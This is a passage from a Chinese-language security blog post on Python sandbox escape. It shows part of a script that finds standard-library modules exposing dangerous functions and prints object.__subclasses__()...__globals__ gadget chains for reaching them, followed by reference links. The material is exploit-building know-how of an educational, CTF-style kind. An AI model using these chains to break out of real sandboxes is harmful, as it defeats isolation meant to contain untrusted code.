# 导入了危险模块的标准库
for module in modules:
risk_modules[module] = []
try:
m = __import__(module) # 导入模块
attrs = dir(m) # 获取属性与方法
for method in methods:
if method in attrs: # 若存在危险模块
risk_modules[module].append(method)
except Exception as e:
# print(e)
pass

print('------------------------------ 导入标准库,间接导入危险模块 ------------------------------')

# 导入了危险标准库的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for risk_module in risk_modules.keys():
if risk_module == submodule:
for method in risk_modules[risk_module]:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']".format(i=i, risk_module=risk_module, method=method))

print('------------------------------ 链式调用特殊方法------------------------------')

# 基本类型的特殊方法
for t in types:
for method in dir(t):
# 待比较类型
c = str(t.__getattribute__(method).__class__)
# Python2特殊类型
c2 = "<type 'builtin_function_or_method'>"
# Python3特殊类型
c3 = "<class 'builtin_function_or_method'>"
if c == c2 or c == c3:
# 转义双引号
if t == '':
t = "''"
print("{t}.{method}.__class__.__call__".format(t=t, method=method))

参考文章:

https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/#section

https://hosch3n.github.io/2020/08/27/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

  • 标题: python沙箱逃逸
  • 作者: GTL-JU
  • 创建于: 2023-07-20 20:08:52
  • 更新于: 2023-07-20 20:17:28
  • 链接: https://gtl-ju.github.io/2023/07/20/python沙箱逃逸/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。